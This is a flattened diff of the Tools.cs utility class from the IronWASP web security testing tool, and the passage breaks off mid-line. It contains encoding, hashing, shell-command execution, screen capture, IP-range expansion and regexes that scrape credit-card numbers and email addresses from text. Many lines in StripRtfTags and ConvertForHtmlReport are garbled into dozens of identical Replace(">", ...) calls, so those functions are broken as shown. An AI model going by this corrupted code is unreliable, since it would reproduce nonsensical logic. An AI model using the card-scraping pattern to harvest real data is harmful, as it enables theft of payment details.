P.StartInfo.RedirectStandardError = true; - P.StartInfo.RedirectStandardOutput = true; - P.StartInfo.CreateNoWindow = true; - P.Start(); - P.StandardInput.WriteLine(Command); - P.StandardInput.WriteLine("exit"); - Result[0] = P.StandardOutput.ReadToEnd(); - Result[1] = P.StandardError.ReadToEnd(); - P.WaitForExit(); - } - catch { Result[1] = "Command Execution failed"; } - finally - { - P.Close(); - } - return Result[1]; - } - catch { return "Command Execution failed"; } - } - - public static void Run(string Executable) - { - try - { - Process.Start(Executable); - } - catch(Exception Exp) - { - IronException.Report("Unable to start external application", Exp); - } - } - - public static void RunWith(string Executable, string Arguments) - { - try - { - Process.Start(Executable, Arguments); - } - catch (Exception Exp) - { - IronException.Report("Unable to start external application", Exp); - } - } - - public static void RunInShellWith(string Executable, string Arguments) - { - try - { - ProcessStartInfo Info = new ProcessStartInfo(); - Info.UseShellExecute = true; - Info.CreateNoWindow = false; - Info.Arguments = "/k " + Executable + " " + Arguments; - Info.FileName = "cmd"; - Info.WindowStyle = ProcessWindowStyle.Normal; - Process P = Process.Start(Info); - } - catch (Exception Exp) - { - IronException.Report("Unable to start external application", Exp); - } - } - - public static int GetPercent(int One, int Two) - { - Double O; - Double T; - if (Two > One) - { - O = (Double)One; - T = (Double)Two; - } - else - { - O = (Double)Two; - T = (Double)One; - } - int Per = (int)((O / T) * 100.0); - return 100 - Per; - } - - public static void ExecuteMethod(ThreadStart PTS) - { - PTS(); - } - - public static void ExecuteMethodP(ParameterizedThreadStart PTS, object Obj) - { - PTS(Obj); - } - - public static object[] ToDotNetArray(object O) - { - object[] Values = new object[0]; - string Type = O.GetType().FullName; - switch(Type) - { - case("IronRuby.Builtins.RubyArray"): - Values = new object[(O as IronRuby.Builtins.RubyArray).Count]; - (O as IronRuby.Builtins.RubyArray).CopyTo(Values, 0); - break; - case("IronPython.Runtime.List"): - Values = new object[(O as IronPython.Runtime.List).Count]; - (O as IronPython.Runtime.List).CopyTo(Values, 0); - break; - } - return Values; - } - public static List ToDotNetList(object O) - { - return new List(ToDotNetArray(O)); - } - - public static string CamelCaseToUnderScore(string CamelCase) - { - StringBuilder SB = new StringBuilder(); - for(int i=0; i < CamelCase.Length; i++) - { - string LowerChar = CamelCase[i].ToString().ToLower(); - if (i > 0) - { - if (!Char.IsUpper(CamelCase[i - 1]) && Char.IsUpper(CamelCase[i])) - { - SB.Append("_"); - } - } - SB.Append(LowerChar); - } - return SB.ToString(); - } - - public static string EscapeDoubleQuotes(string Input) - { - StringBuilder Output = new StringBuilder(); - bool EscapeNext = false; - for (int i = 0; i < Input.Length; i++) - { - char C = Input[i]; - if (C == '"') - { - if (!EscapeNext) - { - Output.Append("\\"); - } - } - Output.Append(C.ToString()); - - if(C == '\\') - { - if (EscapeNext) - { - EscapeNext = false;//there is a \ before this escaping this \ - } - else - { - EscapeNext = true; - } - } - else - { - EscapeNext = false; - } - } - return Output.ToString(); - } - - public static List SplitLines(string Content) - { - List Result = new List(); - string[] Split = null; - if (Content.Contains("\n")) - { - Split = Content.Split(new char[] { '\n' }); - } - else - { - Split = Content.Split(new char[] { '\r' }); - } - for (int i = 0; i < Split.Length; i++) - { - string Trimmed = Split[i].Trim('\r').Trim('\n'); - if(Trimmed.Length > 0) Result.Add(Trimmed); - } - return Result; - } - - public static string CreateString(char C, int Repeat) - { - return new String(C, Repeat); - } - - public static bool IsXmlContentSame(string One, string Two) - { - XmlDocument XmlOne = new XmlDocument(); - XmlOne.XmlResolver = null; - XmlOne.LoadXml(One); - XmlDocument XmlTwo = new XmlDocument(); - XmlTwo.XmlResolver = null; - XmlTwo.LoadXml(Two); - - if (XmlOne.ChildNodes.Count == XmlTwo.ChildNodes.Count) - { - if (XmlOne.ChildNodes.Count > 0) - { - for (int i = 0; i < XmlOne.ChildNodes.Count; i++) - { - if (!IsXmlNodeSame(XmlOne.ChildNodes[i], XmlTwo.ChildNodes[i])) - { - return false; - } - } - return true; - } - else - { - if (XmlOne.InnerText == XmlTwo.InnerText) - { - return true; - } - else - { - return false; - } - } - } - else - { - return false; - } - } - - public static string MultiplyString(string StrToMulti, int Factor) - { - StringBuilder SB = new StringBuilder(); - for (int i = 0; i < Factor; i++) - { - SB.Append(StrToMulti); - } - return SB.ToString(); - } - - public static string GetRefreshHeaderUrl(string Header) - { - Match M = Regex.Match(Header, @"\s*\d+;\s*url\s*=\s*(.*)", RegexOptions.IgnoreCase); - if (M.Success) - { - if (M.Groups.Count > 1) - { - string TrimmedUrl = M.Groups[1].Value.Trim(); - if (TrimmedUrl.StartsWith("'")) - { - return TrimmedUrl.Trim('\''); - } - else if (TrimmedUrl.StartsWith("\"")) - { - return TrimmedUrl.Trim('"'); - } - else - { - return TrimmedUrl; - } - } - } - throw new Exception("Invalid Refresh Header"); - } - - public static Bitmap CaptureScreen() - { - Bitmap BM = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height); - Graphics G = Graphics.FromImage(BM as Image); - G.CopyFromScreen(0, 0, 0, 0, BM.Size); - //BM.Save(Config.Path + "\\sh.bmp", ImageFormat.Bmp); - return BM; - } - - public static bool IsValidIpv4(string Input) - { - try - { - IPAddress IpAdd = IPAddress.Parse(Input); - if (IpAdd.AddressFamily == System.Net.Sockets.AddressFamily.InterNetwork) - { - return true; - } - } - catch - { - return false; - } - return false; - } - - public static bool IsValidIpv6(string Input) - { - try - { - IPAddress IpAdd = IPAddress.Parse(Input); - if (IpAdd.AddressFamily == System.Net.Sockets.AddressFamily.InterNetworkV6) - { - return true; - } - } - catch - { - return false; - } - return false; - } - - public static List NwToIp(string NetworkAddress) - { - List IPs = new List(); - if (NetworkAddress.Contains("/")) - { - string[] Parts = NetworkAddress.Split('/'); - if (Parts.Length != 2) - { - throw new Exception("Invalid address format"); - } - string[] NwParts = GetCleanNwAddr(Parts[0]); - if (NwParts.Length == 1) - { - throw new Exception(NwParts[0]); - } - int SM = 0; - try - { - SM = Int32.Parse(Parts[1].Trim()); - if (SM < 1 || SM > 31) throw new Exception(); - } - catch - { - throw new Exception("Invalid CIDR number"); - } - int Octect = SM / 8; - int Position = SM % 8; - string[] NwAddr = new string[4]; - for (int i = 0; i < 4; i++) - { - if (i == Octect) - { - int OctNum = Int32.Parse(NwParts[i]); - string OctBin = Convert.ToString(OctNum, 2).PadLeft(8, '0'); - string OctBinPrefix = OctBin.Substring(0, Position); - int Lowest = Convert.ToInt32(OctBinPrefix.PadRight(8, '0'), 2); - int Highest = Convert.ToInt32(OctBinPrefix.PadRight(8, '1'), 2); - NwAddr[i] = string.Format("{0}-{1}", Lowest, Highest); - } - else if(i > Octect) - { - NwAddr[i] = "0-255"; - } - else - { - NwAddr[i] = NwParts[i]; - } - } - IPs = GetOctectRange(NwAddr, 0); - if (IPs.Count > 1) - { - IPs.RemoveAt(0);//Remove network address - IPs.RemoveAt(IPs.Count - 1);//Remove broadcast address - } - } - else if (NetworkAddress.Contains("-")) - { - string[] NwParts = GetCleanNwAddr(NetworkAddress); - if (NwParts.Length != 4) throw new Exception(NwParts[0]); - IPs.AddRange(GetOctectRange(NwParts, 0)); - } - return IPs; - } - - static List GetOctectRange(string[] NwAddr, int OctectIndex) - { - List IPs = new List(); - - if (NwAddr[OctectIndex].Contains("-")) - { - List Range = GetNumberRange(NwAddr[OctectIndex]); - foreach (int Number in Range) - { - if (OctectIndex == 3) - { - IPs.Add(string.Format("{0}.{1}.{2}.{3}", NwAddr[0], NwAddr[1], NwAddr[2], Number)); - } - else - { - string[] NewNwAddr = new string[4]; - NwAddr.CopyTo(NewNwAddr, 0); - NewNwAddr[OctectIndex] = Number.ToString(); - IPs.AddRange(GetOctectRange(NewNwAddr, OctectIndex + 1)); - } - } - } - else - { - if (OctectIndex == 3) - { - IPs.Add(string.Format("{0}.{1}.{2}.{3}", NwAddr[0], NwAddr[1], NwAddr[2], NwAddr[3])); - } - else - { - IPs.AddRange(GetOctectRange(NwAddr, OctectIndex + 1)); - } - } - return IPs; - } - - public static string[] GetCleanNwAddr(string NwAddr) - { - string[] Parts = NwAddr.Trim().Split('.'); - string[] Result = new string[4]; - if (Parts.Length != 4) - { - return new string[] {"Invalid Network address"}; - } - for (int i = 0; i < 4; i++) - { - List Nums = new List(); - if (Parts[i].Contains("-")) - { - string[] SubParts = Parts[i].Split('-'); - if (SubParts.Length != 2) - { - return new string[] { "Invalid Network address" }; - } - try - { - int FirstNum = Int32.Parse(SubParts[0].Trim()); - int LastNum = Int32.Parse(SubParts[1].Trim()); - if (FirstNum >= LastNum) - { - return new string[] { "Invalid address range" }; - } - Nums.Add(FirstNum); - Nums.Add(LastNum); - } - catch - { - return new string[] { "Invalid Network address" }; - } - } - else - { - try - { - Nums.Add(Int32.Parse(Parts[i].Trim())); - } - catch - { - return new string[] { "Invalid Network address" }; - } - } - foreach (int Num in Nums) - { - if ((Num < 0 || Num > 255) || ((i == 0) && (Num < 1 || Num > 223))) - { - return new string[] { "Invalid Network address" }; - } - } - if (Nums.Count == 1) - { - Result[i] = Nums[0].ToString(); - } - else if (Nums.Count == 2) - { - Result[i] = string.Format("{0}-{1}", Nums[0], Nums[1]); - } - } - return Result; - } - - static List GetNumberRange(string Range) - { - List Numbers = new List(); - string[] RangeParts = Range.Split('-'); - if(RangeParts.Length != 2) - { - throw new Exception("Invalid range"); - } - int Start = Int32.Parse(RangeParts[0].Trim()); - int End = Int32.Parse(RangeParts[1].Trim()); - for (int i = Start; i <= End; i++) - { - Numbers.Add(i); - } - return Numbers; - } - - static bool IsXmlNodeSame(XmlNode One, XmlNode Two) - { - if (One.ChildNodes.Count == Two.ChildNodes.Count) - { - if (One.ChildNodes.Count > 0) - { - for (int i = 0; i < One.ChildNodes.Count; i++) - { - if (!IsXmlNodeSame(One.ChildNodes[i], Two.ChildNodes[i])) - { - return false; - } - } - return true; - } - else - { - if (One.InnerText == Two.InnerText) - { - return true; - } - else - { - return false; - } - } - } - else - { - return false; - } - } - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.Web; +using System.Web.Util; +using System.Threading; +using System.Collections.Generic; +using System.Text; +using System.Text.RegularExpressions; +using System.IO; +using System.IO.Compression; +using System.Xml; +using System.Net; +using System.Diagnostics; +using System.Security.Cryptography; +using Mathertel; +using Newtonsoft.Json; +using Jint; +using Jint.Expressions; +using Antlr.Runtime; +using System.Drawing; +using System.Drawing.Imaging; +using System.Windows.Forms; + +namespace IronWASP +{ + public class Tools + { + static string[] UrlInvalidChars = new string[] { " ", "\t", "\r", "\n", "\"", "<", ">", "{", "}", "|", "\\", "^", "[", "]", "`" }; + + public static string ListToCsv(List CSVList) + { + if (CSVList.Count == 0) return ""; + StringBuilder CSV = new StringBuilder(); + foreach (string Ele in CSVList) + { + CSV.Append(Ele); CSV.Append(","); + } + return CSV.ToString().TrimEnd(','); + } + + public static string ArrayToCsv(string[] CSVArray) + { + List CSVList = new List(); + CSVList.AddRange(CSVArray); + return ListToCsv(CSVList); + } + + public static string[] ListToArray(List Input) + { + string[] Output = new string[Input.Count]; + Input.CopyTo(Output); + return Output; + } + + public static List ArrayToList(string[] Input) + { + List Output = new List(); + Output.AddRange(Input); + return Output; + } + + public static string StripRtfTags(string Text) + { + Text = Text.Replace(">", ""); + Text = Text.Replace(">", ""); + Text = Text.Replace(">", ""); + Text = Text.Replace(">", ""); + Text = Text.Replace(">", ""); + Text = Text.Replace(">", ""); + Text = Text.Replace(">", ""); + Text = Text.Replace(">", ""); + Text = Text.Replace(">", ""); + Text = Text.Replace(">", ""); + Text = Text.Replace(">", ""); + Text = Text.Replace(">", ""); + Text = Text.Replace(">", ""); + Text = Text.Replace(">", ""); + Text = Text.Replace(">", ""); + Text = Text.Replace(">", ""); + Text = Text.Replace(">", ""); + Text = Text.Replace(">", ""); + Text = Text.Replace(">", ""); + Text = Text.Replace(">", ""); + Text = Text.Replace(">", ""); + Text = Text.Replace(">", ""); + Text = Text.Replace(">", ""); + Text = Text.Replace(">", ""); + Text = Text.Replace(">", ""); + Text = Text.Replace(">", ""); + Text = Text.Replace(">", ""); + Text = Text.Replace(">", ""); + Text = Text.Replace(">", ""); + Text = Text.Replace(">", ""); + Text = Text.Replace(">", ""); + Text = Text.Replace(">", ""); + Text = Text.Replace(">", ""); + Text = Text.Replace(">", ""); + Text = Text.Replace(">", ""); + Text = Text.Replace(">", ""); + Text = Text.Replace(">", ""); + Text = Text.Replace(">", ""); + Text = Text.Replace(">", ""); + return Text; + } + + public static string RtfSafe(string Text) + { + Text = Text.Replace("\r\n", ">"); + Text = Text.Replace("\n", ">"); + Text = Text.Replace("\\","\\\\"); + Text = Text.Replace("{", "\\{"); + Text = Text.Replace("}", "\\}"); + Text = Text.Replace(">", " \\par "); + Text = Text.Replace(">", "\\cf1\\b "); + Text = Text.Replace(">", "\\cf0\\b0 "); + Text = Text.Replace(">", " \\cf2 \\b "); + Text = Text.Replace(">", " \\cf0 \\b0 "); + Text = Text.Replace(">", " \\b "); + Text = Text.Replace(">", " \\b0 "); + Text = Text.Replace(">", " \\i "); + Text = Text.Replace(">", " \\i0 "); + Text = Text.Replace(">", " \\cf3 "); + Text = Text.Replace(">", " \\cf0 "); + Text = Text.Replace(">", " \\cf4 "); + Text = Text.Replace(">", " \\cf0 "); + Text = Text.Replace(">", " \\cf1 "); + Text = Text.Replace(">", " \\cf0 "); + Text = Text.Replace(">", " \\cf2 "); + Text = Text.Replace(">", " \\cf0 "); + Text = Text.Replace(">", " \\cf6 "); + Text = Text.Replace(">", " \\cf0 "); + Text = Text.Replace(">", " \\cf5 "); + Text = Text.Replace(">", " \\cf0 "); + Text = Text.Replace(">", " \\qc "); + Text = Text.Replace(">", " \\pard "); + Text = Text.Replace(">", " \\qr "); + Text = Text.Replace(">", " \\pard "); + Text = Text.Replace(">", " \\ql "); + Text = Text.Replace(">", " \\pard "); + Text = Text.Replace(">", " \\highlight3 "); + Text = Text.Replace(">", " \\highlight0 "); + Text = Text.Replace(">", " \\highlight4 "); + Text = Text.Replace(">", " \\highlight0 "); + Text = Text.Replace(">", " \\highlight1 "); + Text = Text.Replace(">", " \\highlight0 "); + Text = Text.Replace(">", " \\highlight2 "); + Text = Text.Replace(">", " \\highlight0 "); + Text = Text.Replace(">", " \\highlight6 "); + Text = Text.Replace(">", " \\highlight0 "); + Text = Text.Replace(">", " \\fs30 "); + Text = Text.Replace(">", " \\fs20 "); + return Text; + } + + internal static string ConvertForHtmlReport(string Text) + { + Text = Tools.HtmlEncode(Text); + Text = Text.Replace("\r\n", Tools.HtmlEncode(">")); + Text = Text.Replace("\n", Tools.HtmlEncode(">")); + //Text = Text.Replace("\\", "\\\\"); + //Text = Text.Replace("{", "\\{"); + //Text = Text.Replace("}", "\\}"); + Text = Text.Replace(Tools.HtmlEncode(">"), "
    "); + + Text = Text.Replace(Tools.HtmlEncode(">"), ""); + Text = Text.Replace(Tools.HtmlEncode(">"), ""); + + Text = Text.Replace(Tools.HtmlEncode(">"), " "); + Text = Text.Replace(Tools.HtmlEncode(">"), ""); + + Text = Text.Replace(Tools.HtmlEncode(">"), ""); + Text = Text.Replace(Tools.HtmlEncode(">"), ""); + + Text = Text.Replace(Tools.HtmlEncode(">"), ""); + Text = Text.Replace(Tools.HtmlEncode(">"), ""); + + Text = Text.Replace(Tools.HtmlEncode(">"), ""); + Text = Text.Replace(Tools.HtmlEncode(">"), ""); + + Text = Text.Replace(Tools.HtmlEncode(">"), " "); + Text = Text.Replace(Tools.HtmlEncode(">"), ""); + + Text = Text.Replace(Tools.HtmlEncode(">"), ""); + Text = Text.Replace(Tools.HtmlEncode(">"), ""); + + Text = Text.Replace(Tools.HtmlEncode(">"), ""); + Text = Text.Replace(Tools.HtmlEncode(">"), ""); + + Text = Text.Replace(Tools.HtmlEncode(">"), ""); + Text = Text.Replace(Tools.HtmlEncode(">"), ""); + + Text = Text.Replace(Tools.HtmlEncode(">"), ""); + Text = Text.Replace(Tools.HtmlEncode(">"), ""); + + Text = Text.Replace(Tools.HtmlEncode(">"), ""); + Text = Text.Replace(Tools.HtmlEncode(">"), ""); + + Text = Text.Replace(Tools.HtmlEncode(">"), ""); + Text = Text.Replace(Tools.HtmlEncode(">"), ""); + + Text = Text.Replace(Tools.HtmlEncode(">"), ""); + Text = Text.Replace(Tools.HtmlEncode(">"), ""); + + Text = Text.Replace(Tools.HtmlEncode(">"), ""); + Text = Text.Replace(Tools.HtmlEncode(">"), ""); + + Text = Text.Replace(Tools.HtmlEncode(">"), ""); + Text = Text.Replace(Tools.HtmlEncode(">"), ""); + + Text = Text.Replace(Tools.HtmlEncode(">"), ""); + Text = Text.Replace(Tools.HtmlEncode(">"), ""); + + Text = Text.Replace(Tools.HtmlEncode(">"), ""); + Text = Text.Replace(Tools.HtmlEncode(">"), ""); + + Text = Text.Replace(Tools.HtmlEncode(">"), ""); + Text = Text.Replace(Tools.HtmlEncode(">"), ""); + + Text = Text.Replace(Tools.HtmlEncode(">"), ""); + Text = Text.Replace(Tools.HtmlEncode(">"), ""); + + return Text; + } + + public static string RelaxedUrlEncode(string Input) + { + StringBuilder SB = new StringBuilder(); + for (int i = 0; i < Input.Length; i++) + { + switch (Input[i]) + { + case ' ': + SB.Append("+"); + break; + case '&': + SB.Append("%26"); + break; + case '?': + SB.Append("%3f"); + break; + case '#': + SB.Append("%23"); + break; + case ';': + SB.Append("%3b"); + break; + case '=': + SB.Append("%3d"); + break; + case '\r': + SB.Append("%0d"); + break; + case '\n': + SB.Append("%0a"); + break; + case '\t': + SB.Append("%09"); + break; + case '\0': + SB.Append("%00"); + break; + default: + SB.Append(Input[i]); + break; + } + } + return SB.ToString(); + } + + public static string RelaxedCookieEncode(string Input) + { + StringBuilder SB = new StringBuilder(); + for (int i = 0; i < Input.Length; i++) + { + switch (Input[i]) + { + case '=': + SB.Append("%3d"); + break; + case ' ': + SB.Append("%20"); + break; + case ';': + SB.Append("%3b"); + break; + case ',': + SB.Append("%2c"); + break; + case '\r': + SB.Append("%0d"); + break; + case '\n': + SB.Append("%0a"); + break; + case '\t': + SB.Append("%09"); + break; + case '\0': + SB.Append("%00"); + break; + default: + SB.Append(Input[i]); + break; + } + } + return SB.ToString(); + } + + public static string HeaderEncode(string Input) + { + StringBuilder SB = new StringBuilder(); + for (int i = 0; i < Input.Length; i++) + { + switch (Input[i]) + { + case '\r': + SB.Append("%0d"); + break; + case '\n': + SB.Append("%0a"); + break; + case '\0': + SB.Append("%00"); + break; + default: + SB.Append(Input[i]); + break; + } + } + return SB.ToString(); + } + + public static string UrlPathEncode(string Input) + { + return HttpUtility.UrlPathEncode(Input); + } + + public static string UrlEncode(string Input) + { + return HttpUtility.UrlEncode(Input); + } + + public static string UrlEncodeBytes(byte[] Input) + { + return HttpUtility.UrlEncode(Input); + } + + public static string UrlDecode(string Input) + { + return HttpUtility.UrlDecode(Input); + } + + public static byte[] UrlDecodeToBytes(string Input) + { + return HttpUtility.UrlDecodeToBytes(Input); + } + + public static string UrlPathPartEncode(string Input) + { + Input = Input.Replace("~", "%7e").Replace("/", "%2f"); + string EncodedInput = HttpUtility.UrlEncode(Input); + EncodedInput = EncodedInput.Replace("+", "%20");//Server treats + in Url Path Part as + instead of space. %20 is the right representation. + is ok for Query. + return EncodedInput; + } + public static string UrlPathPartDecode(string Input) + { + Input = Input.Replace("%257e", "%7e").Replace("%252f", "%2f"); + return Tools.UrlDecode(Input); + } + public static string HtmlEncode(string Input) + { + return HttpUtility.HtmlEncode(Input); + } + public static string HtmlDecode(string Input) + { + return HttpUtility.HtmlDecode(Input); + } + public static string HtmlAttributeEncode(string Input) + { + return HttpUtility.HtmlAttributeEncode(Input); + } + public static string UrlUnicodeEncode(string Input) + { + return HttpUtility.UrlEncodeUnicode(Input); + } + public static string ToHex(string Input) + { + byte[] BA = Encoding.UTF8.GetBytes(Input); + return ToHex(BA); + } + + public static string ToHex(byte[] Input) + { + string Hex = BitConverter.ToString(Input); + return Hex.Replace("-",""); + } + + public static byte[] ToByteArray(string Input) + { + return ToByteArray(Input, "UTF-8"); + } + + public static byte[] ToByteArray(string Input, string EncodingType) + { + Encoding Enc; + try + { + Enc = Encoding.GetEncoding(EncodingType); + } + catch + { + throw new Exception("Invalid Encoding Type Specified"); + } + return Enc.GetBytes(Input); + } + + public static string HexEncode(string Input) + { + return HexEncodeBytes(Tools.ToByteArray(Input)); + } + + public static string HexEncodeBytes(byte[] Input) + { + string Hex = BitConverter.ToString(Input); + if (Hex.Length == 0) return ""; + return string.Format("%{0}", new object[] { Hex.Replace("-", "%") }); + } + + public static string HexDecode(string Input) + { + string[] Bytes = Input.Split(new char[]{'%'},StringSplitOptions.RemoveEmptyEntries); + StringBuilder Result = new StringBuilder(); + foreach (string Byte in Bytes) + { + Result.Append(Convert.ToChar(Convert.ToUInt32(Byte, 16))); + } + return Result.ToString(); + } + + + public static byte[] HexToBytes(string Input) + { + string[] Bytes = Input.Split(new char[] { '%' }, StringSplitOptions.RemoveEmptyEntries); + List BytesList = new List(); + foreach (string Byte in Bytes) + { + BytesList.Add((byte)Convert.ToInt32(Byte, 16)); + } + return BytesList.ToArray(); + } + + public static string Base64Encode(string Input) + { + byte[] BA = Encoding.UTF8.GetBytes(Input); + return Base64EncodeByteArray(BA); + } + + public static string Base64EncodeByteArray(byte[] Input) + { + return Convert.ToBase64String(Input); + } + + public static string Base64EncodeBytes(byte[] Input) + { + return Base64EncodeByteArray(Input); + } + + public static string XmlSafe(string Input) + { + if (IsAllowedInXml(Input)) + { + return Input; + } + else + { + StringBuilder SB = new StringBuilder(); + foreach (char C in Input) + { + if (IsAllowedInXml(C.ToString())) + { + SB.Append(C); + } + else + { + try + { + SB.Append(Tools.XmlEncode(C.ToString()));//Empty append might throw an exception + } + catch { } + } + } + return SB.ToString(); + } + } + + public static string XmlEncode(string Input) + { + try + { + StringBuilder XB = new StringBuilder(); + XmlWriterSettings Settings = new XmlWriterSettings(); + XmlWriter XW = XmlWriter.Create(XB, Settings); + XW.WriteStartElement("xml"); + XW.WriteValue(Input); + XW.WriteEndElement(); + XW.Close(); + string XML = XB.ToString(); + int StartPoint = XML.IndexOf("") + 5; + return XML.Substring(StartPoint, XML.Length - (StartPoint + 6)); + } + catch(Exception Exp) + { + if (Input.Length == 1) + { + throw Exp;//to avoid infinite recursive loop when checking a single character + } + else + { + StringBuilder SB = new StringBuilder(); + foreach (Char C in Input) + { + try + { + SB.Append(Tools.XmlEncode(C.ToString())); + } + catch { } + } + return SB.ToString(); + } + } + } + + public static bool IsAllowedInXml(string Input) + { + try + { + StringBuilder XB = new StringBuilder(); + XmlWriterSettings Settings = new XmlWriterSettings(); + using (XmlWriter XW = XmlWriter.Create(XB, Settings)) + { + XW.WriteStartElement("xml"); + XW.WriteValue(Input); + XW.WriteEndElement(); + } + return true; + } + catch + { + return false; + } + } + + public static string JsonEncode(string Input) + { + try + { + StringWriter JW = new StringWriter(); + JsonTextWriter JTW = new JsonTextWriter(JW); + JTW.WriteStartObject(); + JTW.WritePropertyName("a"); + JTW.WriteValue(Input); + JTW.WriteEndObject(); + JTW.Close(); + JW.Close(); + + string Val = JW.ToString().Substring(5); + Val = Val.TrimEnd('}'); + Val = Val.Trim(); + + if (Val.StartsWith("\"")) + { + Val = Val.Trim('"'); + } + else if (Val.StartsWith("\'")) + { + Val = Val.Trim('\''); + } + return Val; + } + catch (Exception Exp) + { + if (Input.Length == 1) + { + throw Exp;//to avoid infinite recursive loop when checking a single character + } + else + { + StringBuilder SB = new StringBuilder(); + foreach (Char C in Input) + { + try + { + SB.Append(Tools.JsonEncode(C.ToString())); + } + catch { } + } + return SB.ToString(); + } + } + } + + public static string EncodeForTrace(string Input) + { + return Input.Replace("\r", "\\r").Replace("\n", "\\n").Replace("\t", "\\t").Replace("\000", "\\0").Replace("\00", "\\0").Replace("\0", "\\0"); + } + + public static byte[] Base64DecodeToByteArray(string Input) + { + byte[] BA = Convert.FromBase64String(Input); + return BA; + } + + public static byte[] Base64DecodeToBytes(string Input) + { + return Base64DecodeToByteArray(Input); + } + + public static string Base64Decode(string Input) + { + byte[] BA = Convert.FromBase64String(Input); + return Encoding.UTF8.GetString(BA); + } + + public static string Base64DecodeToHex(string Input) + { + byte[] BA = Convert.FromBase64String(Input); + return ToHex(BA); + } + + public static string sha256(string Input) + { + return SHA256(Input); + } + + public static string SHA256(string Input) + { + return SHA256Bytes(ToByteArray(Input)); + } + + public static string SHA256Bytes(byte[] InBa) + { + SHA256Managed Sha = new SHA256Managed(); + byte[] Result = Sha.ComputeHash(InBa); + return ToHex(Result); + } + + public static string sha512(string Input) + { + return SHA512(Input); + } + + public static string SHA512(string Input) + { + return SHA512Bytes(ToByteArray(Input)); + } + + public static string SHA512Bytes(byte[] InBa) + { + SHA512Managed Sha = new SHA512Managed(); + byte[] Result = Sha.ComputeHash(InBa); + return ToHex(Result); + } + + public static string sha1(string Input) + { + return SHA1(Input); + } + + public static string SHA1(string Input) + { + return SHA1Bytes(ToByteArray(Input)); + } + + public static string SHA1Bytes(byte[] InBa) + { + SHA1Managed Sha = new SHA1Managed(); + byte[] Result = Sha.ComputeHash(InBa); + return ToHex(Result); + } + + public static string sha384(string Input) + { + return SHA384(Input); + } + + public static string SHA384(string Input) + { + return SHA384Bytes(ToByteArray(Input)); + } + + public static string SHA384Bytes(byte[] InBa) + { + SHA384Managed Sha = new SHA384Managed(); + byte[] Result = Sha.ComputeHash(InBa); + return ToHex(Result); + } + + public static string md5(string Input) + { + return MD5(Input); + } + + public static string md5(string Input, string EncodingName) + { + return MD5(Input, EncodingName); + } + + public static string md5_bytes(byte[] Input) + { + return MD5Bytes(Input); + } + + public static string MD5(string Input) + { + return MD5Bytes(ToByteArray(Input)); + } + + public static string MD5(string Input, string EncodingName) + { + return MD5Bytes(Encoding.GetEncoding(EncodingName).GetBytes(Input)); + } + + public static string MD5Bytes(byte[] Input) + { + MD5CryptoServiceProvider MD5er = new MD5CryptoServiceProvider(); + return ToHex(MD5er.ComputeHash(Input)); + } + + public static DiffResult Diff(string Source, string Destination) + { + Mathertel.Diff.Item[] Results = Mathertel.Diff.DiffText(Source, Destination, false, false, false); + return DiffResult.GetStringDiff(Results, Source, Destination); + } + + public static DiffResult DiffLine(string Source, string Destination) + { + Mathertel.Diff.Item[] Results = Mathertel.Diff.DiffText(Source.Replace(' ','\n'), Destination.Replace(' ','\n'), false, false, false); + return DiffResult.GetLineDiff(Results, Source, Destination); + } + + public static int DiffLevel(string Source, string Destination) + { + return IronDiffer.GetLevel(Source, Destination); + } + + public static List ScrapeCcNos(string Input) + { + return ScrapeCCNos(Input); + } + + public static List ScrapeCCNos(string Input) + { + return Scrape(Input.Replace("-",""), @"\b(?:4[0-9]{12}(?:[0-9]{3})?|5[1-5][0-9]{14}|6(?:011|5[0-9][0-9])[0-9]{12}|3[47][0-9]{13}|3(?:0[0-5]|[68][0-9])[0-9]{11}|(?:2131|1800|35\d{3})\d{11})\b"); + } + + public static List ScrapeEmailIds(string Input) + { + return Scrape(Input, @"\b[A-Z0-9._%+-]+@[A-Z0-9.-]+\.[A-Z]{2,4}\b"); + } + + public static List Scrape(string Input, string RegexString) + { + List Results = new List(); + Regex Regex = new Regex(RegexString, RegexOptions.IgnoreCase | RegexOptions.Multiline); + Match M = Regex.Match(Input); + while (M.Success) + { + Results.Add(M.Value); + M = M.NextMatch(); + } + return Results; + } + + public static int Count(string Text, string Keyword) + { + if (Keyword.Length == 0 || Text.Length == 0) return 0; + bool Loop = true; + int StartIndex = 0; + int Count = 0; + while (Loop) + { + Loop = false; + int MatchSpot = Text.IndexOf(Keyword, StartIndex, StringComparison.CurrentCultureIgnoreCase); + if (MatchSpot >= 0) + { + Count++; + if ((MatchSpot + Keyword.Length) < Text.Length) + { + StartIndex = MatchSpot + 1; + Loop = true; + } + } + } + return Count; + } + + public static void Trace(string Source, string Message) + { + IronTrace IT = new IronTrace(Source, Message); + IT.Report(); + } + + public static void ScanTrace(int ScanID, string PluginName, string Section, string Parameter, string Title, string Message) + { + IronTrace IT = new IronTrace(ScanID, PluginName, Section, Parameter, Title, Message, new List()); + IT.Report(); + } + + public static string GetRandomString() + { + int Min = GetRandomNumber(); + return GetRandomString(Min, GetRandomNumber(Min + GetRandomNumber())); + } + + public static string GetRandomString(int MinLength, int MaxLength) + { + string[] Alphabets = new string[] { "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z" }; + int Length = GetRandomNumber(MinLength, MaxLength); + StringBuilder PS = new StringBuilder(); + for (int i = 0; i < Length; i++) + { + PS.Append(Alphabets[GetRandomNumber(25)]); + } + return PS.ToString(); + } + + public static int GetRandomNumber() + { + Random R = new Random(); + return R.Next(); + } + + public static int GetRandomNumber(int Max) + { + Random R = new Random(); + return R.Next(Max + 1); + } + + public static int GetRandomNumber(int Min, int Max) + { + Random R = new Random(); + return R.Next(Min, Max + 1); + } + + public static bool IsJavaScript(string Text) + { + string TrimmedText = Text.Trim(); + if (TrimmedText.StartsWith("<") || TrimmedText.StartsWith("{") || TrimmedText.StartsWith("[") || TrimmedText.EndsWith(">")) + return false; + if (!(TrimmedText.Contains("=") || TrimmedText.Contains(";") || 